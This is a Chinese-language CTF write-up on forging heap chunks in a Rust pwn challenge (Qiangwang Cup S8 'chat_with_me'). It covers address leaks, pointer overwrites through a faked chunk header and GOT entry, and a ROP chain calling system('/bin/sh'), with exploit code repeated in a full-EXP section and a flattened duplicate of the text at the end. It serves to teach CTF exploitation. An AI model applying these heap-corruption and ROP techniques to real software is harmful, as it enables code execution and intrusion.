从rust堆看堆块伪造
字数 1264 2025-08-20 18:17:53

Rust堆利用:堆块伪造技术详解

1. 题目背景分析

本教学文档基于强网杯S8的chat_with_me题目,这是一个Rust编写的堆利用题目,具有以下特点:

  • 表面上是传统的菜单堆题目,但实际堆操作与常规菜单堆不同
  • 程序使用Rust编写,静态分析难度大,函数包装复杂
  • 关键漏洞:通过show功能可以泄露栈上的敏感数据
  • 最终目标:通过堆块伪造技术实现任意地址读写,最终getshell

2. 关键功能分析

2.1 程序功能结构

程序提供四个基本功能:

  1. add() - 添加数据
  2. show(idx) - 显示指定索引的数据
  3. edit(idx, cont) - 编辑指定索引的数据
  4. delete(idx) - 删除指定索引的数据

2.2 内存布局特点

  • 堆结构heapaddr存储的是栈地址,show操作通过解引用*(heapaddr)来访问和泄露数据
  • 缓冲区:edit操作会将数据写入栈上后,同时复制到一个0x2010大小的堆块缓冲区
  • 指针存储:多次add后会分配0x50大小的堆块,这些堆块存储着各索引(0,1,2...)对应的栈地址指针

3. 漏洞利用路径

3.1 信息泄露阶段

  1. 泄露PIE基址

    • 通过show功能泄露栈上数据
    • 从泄露数据中提取PIE相关地址计算基址
  2. 泄露栈地址

    • 从泄露数据中提取栈指针
    • 为后续ROP链构造做准备
  3. 泄露堆基址

    • 从泄露数据中提取堆指针
    • 计算堆基址用于伪造堆块

3.2 堆块伪造技术

关键思路

控制0x50大小堆块中存储的指针,实现任意地址读写:

  1. 通过edit操作控制0x2010大小的缓冲区
  2. 释放该缓冲区到unsorted bin
  3. 多次add重新申请0x50堆块,这些堆块将从被释放的缓冲区中分配
  4. 通过edit覆盖这些堆块中的指针

伪造条件

伪造堆块需要满足两个关键条件:

  1. 被free堆块的size的inuse位=1(防止与前一个堆块合并)
  2. 通过size找到的next_chunk的inuse位=1(避免double free错误)

具体操作

# 伪造堆块头,使其能够被成功释放
edit(0, b"a"*0x20 + p64(heapbase+0xaa0+0x30) + p64(0x1fe1))

3.3 利用过程

  1. 分配控制堆块

    for i in range(0x4):
        add()
    
  2. 覆盖关键指针

    • 将索引0的指针覆盖为栈地址(stack-0x50)
    • 将索引1的指针覆盖为memcpy的GOT表地址
    memcpy_got = pie + 0x61DF8
    edit(0, b"\x00"*0x30 + p64(stack-0x50) + p64(memcpy_got))
    
  3. 泄露libc基址

    show(1)
    # 处理泄露数据获取libc基址
    
  4. 构造ROP链

    pop_rdi = libcbase + 0x000000000010f75b
    system = libcbase + libc.sym['system']
    binsh = libcbase + next(libc.search(b"/bin/sh"))
    ret = libcbase + 0x2882f 
    payload = p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
    edit(0, payload)
    

4. Rust堆利用特点

  1. 动态分析为主:Rust代码静态分析困难,需依赖动态调试
  2. 堆管理差异:Rust使用自己的堆管理机制,与glibc有所不同
  3. 安全机制:Rust内置更多安全检查,需要找到绕过方法
  4. 函数包装复杂:大量函数包装增加了逆向难度

5. 完整EXP关键点

# 信息泄露
add()
show(0)
# 处理泄露数据获取pie, stack, heapbase

# 堆块伪造
edit(0, b"a"*0x20 + p64(heapbase+0xaa0+0x30) + p64(0x1fe1))

# 重新分配控制堆块
for i in range(0x4):
    add()

# 覆盖指针实现任意读写
memcpy_got = pie + 0x61DF8
edit(0, b"\x00"*0x30 + p64(stack-0x50) + p64(memcpy_got))

# 泄露libc
show(1)
# 计算libcbase

# 构造ROP链getshell
pop_rdi = libcbase + 0x000000000010f75b
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))
ret = libcbase + 0x2882f 
payload = p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
edit(0, payload)

6. 总结与思考

  1. Rust Pwn特点:需要更多依赖动态分析而非静态分析
  2. 关键突破点:找到信息泄露途径和可控的内存区域
  3. 利用链构造:结合堆操作特性和程序功能设计利用链
  4. 适应性调整:不同环境可能需要调整堆布局参数

通过本案例可以学习到Rust环境下堆利用的特殊技巧,特别是如何利用堆块伪造技术实现从信息泄露到最终getshell的完整过程。

Rust堆利用:堆块伪造技术详解 1. 题目背景分析 本教学文档基于强网杯S8的 chat_with_me 题目,这是一个Rust编写的堆利用题目,具有以下特点: 表面上是传统的菜单堆题目,但实际堆操作与常规菜单堆不同 程序使用Rust编写,静态分析难度大,函数包装复杂 关键漏洞:通过show功能可以泄露栈上的敏感数据 最终目标:通过堆块伪造技术实现任意地址读写,最终getshell 2. 关键功能分析 2.1 程序功能结构 程序提供四个基本功能: add() - 添加数据 show(idx) - 显示指定索引的数据 edit(idx, cont) - 编辑指定索引的数据 delete(idx) - 删除指定索引的数据 2.2 内存布局特点 堆结构 : heapaddr 存储的是栈地址,show操作通过解引用 *(heapaddr) 来访问和泄露数据 缓冲区 :edit操作会将数据写入栈上后,同时复制到一个0x2010大小的堆块缓冲区 指针存储 :多次add后会分配0x50大小的堆块,这些堆块存储着各索引(0,1,2...)对应的栈地址指针 3. 漏洞利用路径 3.1 信息泄露阶段 泄露PIE基址 : 通过show功能泄露栈上数据 从泄露数据中提取PIE相关地址计算基址 泄露栈地址 : 从泄露数据中提取栈指针 为后续ROP链构造做准备 泄露堆基址 : 从泄露数据中提取堆指针 计算堆基址用于伪造堆块 3.2 堆块伪造技术 关键思路 控制0x50大小堆块中存储的指针,实现任意地址读写: 通过edit操作控制0x2010大小的缓冲区 释放该缓冲区到unsorted bin 多次add重新申请0x50堆块,这些堆块将从被释放的缓冲区中分配 通过edit覆盖这些堆块中的指针 伪造条件 伪造堆块需要满足两个关键条件: 被free堆块的size的inuse位=1(防止与前一个堆块合并) 通过size找到的next_ chunk的inuse位=1(避免double free错误) 具体操作 3.3 利用过程 分配控制堆块 : 覆盖关键指针 : 将索引0的指针覆盖为栈地址(stack-0x50) 将索引1的指针覆盖为memcpy的GOT表地址 泄露libc基址 : 构造ROP链 : 4. Rust堆利用特点 动态分析为主 :Rust代码静态分析困难,需依赖动态调试 堆管理差异 :Rust使用自己的堆管理机制,与glibc有所不同 安全机制 :Rust内置更多安全检查,需要找到绕过方法 函数包装复杂 :大量函数包装增加了逆向难度 5. 完整EXP关键点 6. 总结与思考 Rust Pwn特点 :需要更多依赖动态分析而非静态分析 关键突破点 :找到信息泄露途径和可控的内存区域 利用链构造 :结合堆操作特性和程序功能设计利用链 适应性调整 :不同环境可能需要调整堆布局参数 通过本案例可以学习到Rust环境下堆利用的特殊技巧,特别是如何利用堆块伪造技术实现从信息泄露到最终getshell的完整过程。